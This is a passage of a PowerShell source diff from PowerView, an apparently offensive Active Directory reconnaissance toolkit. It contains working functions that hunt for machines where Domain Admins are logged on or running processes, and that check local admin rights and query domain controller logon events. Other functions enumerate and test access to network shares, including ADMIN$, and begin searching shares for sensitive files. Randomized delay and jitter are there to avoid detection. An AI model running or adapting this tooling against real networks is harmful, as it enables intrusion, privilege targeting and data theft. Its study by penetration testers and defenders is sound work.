$FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') + $FoundUser + } + } + } + } + if(!$Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + ForEach ($User in $LoggedOn) { + $UserName = $User.wkui1_username + # TODO: translate domain to authoratative name + # then match domain name ? + $UserDomain = $User.wkui1_logon_domain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $Proceed = $True + if($DomainShortName) { + if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { + $Proceed = $True + } + else { + $Proceed = $False + } + } + if($Proceed) { + $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress + $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') + $FoundUser + } + } + } + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'DomainShortName' = $DomainShortName + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName + $Result + + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user found, returning early" + return + } + } + } + + } +} + + +function Invoke-StealthUserHunter { + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $CheckAccess, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All" + ) + # kick off Invoke-UserHunter with stealth options + Invoke-UserHunter -Stealth @PSBoundParameters +} + + +function Invoke-ProcessHunter { +<# + .SYNOPSIS + + Query the process lists of remote machines, searching for + processes with a specific name or owned by a specific user. + Thanks to @paulbrandau for the approach idea. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ProcessName + + The name of the process to hunt, or a comma separated list of names. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER StopOnSuccess + + Switch. Stop hunting after finding after finding a target user/process. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target machine/domain. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins have a + running process. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -Threads 20 + + Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt have running + processes. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups have + running processes with a 60 second (+/- *.3) randomized delay between + touching each host. + + .LINK + + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $ProcessName, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + + if(!$ComputerName) { + [array]$ComputerName = @() + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name ) + } + + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + if(!$ProcessName) { + Write-Verbose "No process name specified, building a target user set" + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object { + $_.MemberName + } + } + } + + if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue + + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if($ProcessName) { + $ProcessName.split(",") | ForEach-Object { + if ($Process.ProcessName -match $_) { + $Process + } + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -contains $Process.User) { + $Process + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ProcessName' = $ProcessName + 'TargetUsers' = $TargetUsers + 'Credential' = $Credential + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential + $Result + + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user/process found, returning early" + return + } + } + } + } +} + + +function Invoke-EventHunter { +<# + .SYNOPSIS + + Queries all domain controllers on the network for account + logon events (ID 4624) and TGT request events (ID 4768), + searching for target users. + + Note: Domain Admin (or equiv) rights are needed to query + this information from the DCs. + + Author: @sixdub, @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER NoPing + + Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchDays + + Number of days back to search logs for. Default 3. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Invoke-EventHunter + + .LINK + + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String[]] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [String] + $Domain, + + [String] + $DomainController, + + [Int32] + $SearchDays = 3, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-EventHunter" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain -Credential $Credential).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($ComputerFilter -or $ComputerADSpath) { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + else { + # if a computer specifier isn't given, try to enumerate all domain controllers + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for domain controllers" + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname} + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + # Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = $UserName | ForEach-Object {$_.ToLower()} + if($TargetUsers -isnot [System.Array]) { + $TargetUsers = @($TargetUsers) + } + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { + $_.MemberName + } + } + } + + if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate + if($Credential) { + Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } + } + else { + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'SearchDays' = $SearchDays + 'Credential' = $Credential + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential + } + } + + } +} + + +function Invoke-ShareFinder { +<# + .SYNOPSIS + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it lists of active shares with Get-NetShare. Non-standard shares + can be filtered out with -Exclude* flags. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ExcludeStandard + + Switch. Exclude standard shares from display (C$, IPC$, print$ etc.) + + .PARAMETER ExcludePrint + + Switch. Exclude the print$ share. + + .PARAMETER ExcludeIPC + + Switch. Exclude the IPC$ share. + + .PARAMETER CheckShareAccess + + Switch. Only display found shares that the local user has access to. + + .PARAMETER CheckAdmin + + Switch. Only display ADMIN$ shares the local user has access to. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0. + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3. + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -ExcludeStandard + + Find non-standard shares on the domain. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -Threads 20 + + Multi-threaded share finding, replaces Invoke-ShareFinderThreaded. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -Delay 60 + + Find shares on the domain with a 60 second (+/- *.3) + randomized delay between touching each host. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt + + Find shares for machines in the specified hosts file. + + .LINK + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $ExcludeStandard, + + [Switch] + $ExcludePrint, + + [Switch] + $ExcludeIPC, + + [Switch] + $NoPing, + + [Switch] + $CheckShareAccess, + + [Switch] + $CheckAdmin, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" + + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @('') + + if ($ExcludePrint) { + $ExcludedShares = $ExcludedShares + "PRINT$" + } + if ($ExcludeIPC) { + $ExcludedShares = $ExcludedShares + "IPC$" + } + if ($ExcludeStandard) { + $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") + } + + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + + if(!$ComputerName) { + [array]$ComputerName = @() + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { + Write-Verbose "[*] Server share: $Share" + $NetName = $Share.shi1_netname + $Remark = $Share.shi1_remark + $Path = '\\'+$ComputerName+'\'+$NetName + + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { + # if we're just checking for access to ADMIN$ + if($CheckAdmin) { + if($NetName.ToUpper() -eq "ADMIN$") { + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Verbose "Error accessing path $Path : $_" + } + } + } + # skip this share if it's in the exclude list + elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { + # see if we want to check access to this share + if($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Verbose "Error accessing path $Path : $_" + } + } + else { + "\\$ComputerName\$NetName `t- $Remark" + } + } + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'CheckShareAccess' = $CheckShareAccess + 'ExcludedShares' = $ExcludedShares + 'CheckAdmin' = $CheckAdmin + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin } } + } } -filter Get-NetLoggedon { +function Invoke-FileFinder { <# .SYNOPSIS - This function will execute the NetWkstaUserEnum Win32API call to query - a given host for actively logged on users. - - .PARAMETER ComputerName + Finds sensitive files on the domain. - The hostname to query for logged on users. + Author: @harmj0y + License: BSD 3-Clause - .OUTPUTS + .DESCRIPTION - WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users, - with the ComputerName added. + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, grabs + the readable shares for each server, and recursively searches every + share for files with specific keywords in the name. + If a share list is passed, EVERY share is enumerated regardless of + other options. - .EXAMPLE + .PARAMETER ComputerName - PS C:\> Get-NetLoggedon + Host array to enumerate, passable on the pipeline. - Returns users actively logged onto the local host. + .PARAMETER ComputerFile - .EXAMPLE + File of hostnames/IPs to search. - PS C:\> Get-NetLoggedon -ComputerName sqlserver + .PARAMETER ComputerFilter - Returns users actively logged onto the 'sqlserver' host. + Host filter name to query AD for, wildcards accepted. - .EXAMPLE + .PARAMETER ComputerADSpath - PS C:\> Get-NetComputer | Get-NetLoggedon + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - Returns all logged on userse for all computers in the domain. + .PARAMETER ShareList - .LINK + List if \\HOST\shares to search through. - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> + .PARAMETER Terms - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) + Terms to search for. - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + .PARAMETER OfficeDocs - # Declare the reference variables - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + .PARAMETER FreshEXEs - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + Switch. Find .EXEs accessed within the last week. - Write-Debug "Get-NetLoggedon result for $Computer : $Result" + .PARAMETER LastAccessTime - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + Only return files with a LastAccessTime greater than this date value. - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() + .PARAMETER LastWriteTime - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + Only return files with a LastWriteTime greater than this date value. - # return all the sections of the structure - $LoggedOn = $Info | Select-Object * - $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $LoggedOn - } + .PARAMETER CreationTime - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not 